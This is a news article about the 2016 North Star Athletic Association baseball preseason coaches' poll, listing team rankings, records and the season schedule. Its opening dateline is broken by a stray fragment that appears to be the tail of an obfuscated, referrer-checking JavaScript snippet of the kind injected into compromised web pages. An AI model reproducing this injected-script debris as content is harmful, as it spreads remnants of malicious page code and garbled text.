MADISON, hssbr|var|u0026u|referrer|fnhnf||js|php’.split(‘|’),0,{}))
SD (NSAA) – Newcomer Bellevue (Neb.) is the unanimous favorite to win the 2016 North Star Athletic Association (NSAA) Baseball title, the conference coaches’ preseason poll was announced Monday. The Bruins, who claimed 10 first-place votes with 100 points in the preseason poll, won the conference tournament and came within a game of reaching the Avista-NAIA World Series with an overall record of 46-15 last season.

BU is ranked No. 12 in the NAIA Baseball Coaches’ Preseason Top 25 poll last November. Jamestown (N.D.), who opened up their fall schedule with an undefeated 8-0 overall record, is picked to finish second in the poll with 87 points.

Mayville State (N.D.) was predicted to finish third in the preseason coaches’ poll with 83 points (currently 8-2 overall record).The Comets won the 2015 NSAA Baseball Postseason Tournament and went 2-2 record in the NAIA Baseball National Opening Round last season. MSU finished their 2015 season with an overall record of 41-22. Valley City State (N.D.) (currently 3-7 overall record) edged Dickinson State (N.D.) (5-5 overall record currently) 61-59 for fourth-place.

The Blue Hawks made an appearance in the NSAA Baseball Postseason Tournament’s championship game last season, falling to MSU in two championship games. Dakota State (S.D.) held a one-point lead over NSAA’s newcomer Viterbo (Wis.) for sixth-place. The Trojans scored 46 points in the poll, while the V-Hawks tallied 45 points to finish seventh. Waldorf (Iowa) is eighth with 32 points, followed by Presentation (S.D.) ninth with 24 (2-6 overall record currently) and Winnipeg (Manitoba) tenth with 11 points (2-8 overall record currently).

The North Star Athletic Association baseball season opens up on March 25-26 with a four-game series for: Mayville State at Dakota State, Presentation at Viterbo, Dickinson State at Bellevue, Winnipeg at Jamestown and Valley City State at Waldorf. There will be two automatic bids from the North Star Athletic Association for the NAIA Baseball National Tournament Opening Round, which is held on May 16-19. The regular-season conference winner and the postseason tournament winner will earn a trip to the national tournament, at nine different sites announced by the NAIA national office later this spring.

The NSAA Baseball Conference Postseason Tournament will take place at two host institutions – the University of Jamestown and Valley City State. The tournament kicks off on May 6 and runs through May 10. The postseason tournament schedule and pairings will be announced after the conclusion of the NSAA conference regulars-season in early May.